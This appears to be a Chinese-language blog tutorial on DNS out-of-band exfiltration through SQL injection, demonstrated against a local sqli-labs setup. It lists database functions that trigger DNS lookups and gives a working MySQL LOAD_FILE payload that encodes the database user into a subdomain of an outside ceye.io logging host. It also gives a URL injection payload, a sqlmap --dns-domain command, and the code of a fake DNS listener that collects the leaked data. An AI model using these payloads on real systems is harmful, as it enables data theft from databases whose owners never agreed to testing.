SQL注入之利用DNS获取数据
1.SQL注入
SQL注入一般分為報錯注入和盲注,盲注的又分為布爾盲注和時間盲注。
? ? ? ?當我們發現一個站點存在一個沒有數據回顯的注入點進行注入時,只能采取盲注,這種注入速度非常慢,需要一個一個字符猜解,而且很容易搞掛網站,這時候我們就需要尋找一種快速有效的方法來獲取數據。
此時我們就可以利用DNS來快速的獲取數據,當然我們也可以在無回顯的命令執行或者無回顯的SSRF中利用
特點:速度快,能夠繞過某些防護軟件的限制
?
2.DNS
DNS是進行域名和與之相對應的IP地址轉換的服務器
DNS域名解析:
主機向本地域名服務器的查詢一般都是采用遞歸查詢
當主機所詢問的本地域名服務器不知道被查詢的域名的IP地址,那么本地域名服務器就以DNS客戶的身份,向其它根域名服務器繼續發出查詢請求報文(即替主機繼續查詢),而不是讓主機自己進行下一步查詢。
因此,遞歸查詢返回的查詢結果或者是所要查詢的IP地址,或者是報錯,表示無法查詢到所需的IP地址。
?
本地域名服務器向根域名服務器的迭代查詢過程:
當根域名服務器收到本地域名服務器發出的迭代查詢請求報文時,要么給出所要查詢的IP地址,要么告訴本地服務器:“你下一步應當向哪一個域名服務器進行查詢”。然后讓本地服務器進行后續的查詢。根域名服務器通常是把自己知道的頂級域名服務器的IP地址告訴本地域名服務器,讓本地域名服務器再向頂級域名服務器查詢。頂級域名服務器在收到本地域名服務器的查詢請求后,要么給出所要查詢的IP地址,要么告訴本地服務器下一步應當向哪一個權限域名服務器進行查詢。最后,知道了所要解析的IP地址或報錯,然后把這個結果返回給發起查詢的主機。
舉個栗子:
域名為www.a.com的主機A?打算發送郵件給域名為www.b.com的主機B。這時就必須知道主機B的IP地址。下面是幾個查詢步驟:
1、主機A先向本地服務器dns.a.com進行遞歸查詢。 ? ? ? ?
2、本地服務器采用迭代查詢,它先向一個根域名服務器查詢。 ? ? ? ?
3、根域名服務器告訴本地服務器,下一次應查詢的頂級域名服務器dns.com的IP地址。 ? ? ? ?
4、本地域名服務器向頂級域名服務器dns.com進行查詢。 ? ? ? ?
5、頂級域名服務器dns.com告訴本地域名服務器,下一步應查詢的權限服務器dns.abc.com的IP地址。 ? ? ? ?
6、本地域名服務器向權限域名服務器dns.abc.com進行查詢。 ? ? ? ?
7、權限域名服務器dns.abc.com告訴本地域名服務器,所查詢的主機的IP地址。 ? ? ? ?
8、本地域名服務器最后把查詢結果告訴m.xyz.com。
?
3.UNC路徑
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器.。UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。UNC路徑就是類似\\softer這樣的形式的網絡路徑
格式: \\servername\sharename ,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:\\servername\sharename\directory\filename
栗子:
將本機的DNS的服務器的地址設置為本機
使用腳本監控本地53端口數據(代碼在最后),Ctrl+R輸入地址,我們看到已經監聽到我們輸入的內容
?
4.利用過程
知道了上述過程,我們可以構造利用DNS從有漏洞的數據庫中提取數據
前提條件:DBMS中需要有可用的,能直接或間接引發DNS解析過程的子程序,即使用到UNC
前人總結~
Microsoft SQL Server
? ?master..xp_dirtree ? ?(用于獲取所有文件夾的列表和給定文件夾內部的子文件夾)
? ?master..xp_fileexist ? ? (用于確定一個特定的文件是否存在于硬盤)
? ?master..xp_subdirs ? ? (用于得到給定的文件夾內的文件夾列表)
Oracle
? ?GET_HOST_ADDRES (用于檢索特定主機的IP)
? ?UTL_HTTP.REQUEST ?(從給定的地址檢索到的第1-2000字節的數據)
Mysql
? ?load_file (讀取文件內容并將其作為字符串返回)
PostgreSQL
? ?COPY ?(用于在文件系統的文件和表之間拷貝數據)
.......
?
我們以Mysql為例~,使用第三方的DNS服務器ceye來演示該過程
使用自己的?ldentifier
先自己查詢一下用戶
輸入我們的payloads
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.ip.port.ukg4ig.ceye.io\\abc'));稍等片刻,我們在平臺就接受到數據了
我們復制16進制進行轉碼,得到數據~
5.注意點
1.\\\\ 進行轉義為 \\,變成UNC格式,查詢的數據需要轉換為16進制,轉化成能被dns正確處理的格式?? 類似URL編碼~
2.mysql使用了load_file這個函數,需要賬戶是有讀權限的
3.因為Linux沒有UNC路徑,所以當處于Linux系統時,不能使用該方式獲取數據
4.這個技術本質是利用UNC發起的DNS查詢,所以UNC的路徑不能超過128,否則會失敗。
?
6.實際站點的利用
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and if((select load_file(concat('\\\\',(selecthex(user())),'.hhhhhhhhhhhhhhhh.com\\123'))),1,1)?
7. sqlmap進行dns注入
必須要在管理員下運行,因為dns服務運行在特權端口53,必須要管理員權限
sqlmap支持dns回顯注入
命令為: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" --tech B --dns-domain 192.168.0.18 --dbs
可以看下此時發送的一個語句:
?
最后附上代碼 dns.py
#!/usr/bin/env python #!_*_coding:utf-8_*_ """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """import os import re import socket import threading import timeprint "Listening......" class DNSQuery(object):"""Used for making fake DNS resolution responses based on receivedraw requestReference(s):http://code.activestate.com/recipes/491264-mini-fake-dns-server/https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py"""def __init__(self, raw):self._raw = rawself._query = ""type_ = (ord(raw[2]) >> 3) & 15 # Opcode bitsif type_ == 0: # Standard queryi = 12j = ord(raw[i])while j != 0:self._query += raw[i + 1:i + j + 1] + '.'i = i + j + 1j = ord(raw[i])def response(self, resolution):"""Crafts raw DNS resolution response packet"""retVal = ""if self._query:retVal += self._raw[:2] # Transaction IDretVal += "\x85\x80" # Flags (Standard query response, No error)retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers CountsretVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name QueryretVal += "\xc0\x0c" # Pointer to domain nameretVal += "\x00\x01" # Type AretVal += "\x00\x01" # Class INretVal += "\x00\x00\x00\x20" # TTL (32 seconds)retVal += "\x00\x04" # Data lengthretVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IPreturn retValclass DNSServer(object):def __init__(self):self._check_localhost()self._requests = []self._lock = threading.Lock()try:self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)except AttributeError:self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self._socket.bind(("", 53))self._running = Falseself._initialized = Falsedef _check_localhost(self):response = ""try:s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)s.connect(("", 53))s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex")) # A www.google.comresponse = s.recv(512)except:passfinally:if response and "google" in response:raise socket.error("another DNS service already running on *:53")def pop(self, prefix=None, suffix=None):"""Returns received DNS resolution request (if any) that has givenprefix/suffix combination (e.g. prefix.<query result>.suffix.domain)"""retVal = Nonewith self._lock:for _ in self._requests:if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):retVal = _self._requests.remove(_)breakreturn retValdef run(self):"""Runs a DNSServer instance as a daemon thread (killed by program exit)"""def _():try:self._running = Trueself._initialized = Truewhile True:data, addr = self._socket.recvfrom(1024)_ = DNSQuery(data)self._socket.sendto(_.response("127.0.0.1"), addr)with self._lock:self._requests.append(_._query)except KeyboardInterrupt:raisefinally:self._running = Falsethread = threading.Thread(target=_)thread.daemon = Truethread.start()if __name__ == "__main__":server = Nonetry:server = DNSServer()server.run()while not server._initialized:time.sleep(0.1)while server._running:while True:_ = server.pop()if _ is None:breakelse:print "[i] %s" % _time.sleep(1)except socket.error, ex:if 'Permission' in str(ex):print "[x] Please run with sudo/Administrator privileges"else:raiseexcept KeyboardInterrupt:os._exit(0)finally:if server:server._running = False?
?
總結
以上是生活随笔為你收集整理的SQL注入之利用DNS获取数据的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 戴尔计算机网卡驱动程序,台式机网卡驱动,
- 下一篇: dell无线网卡驱动安装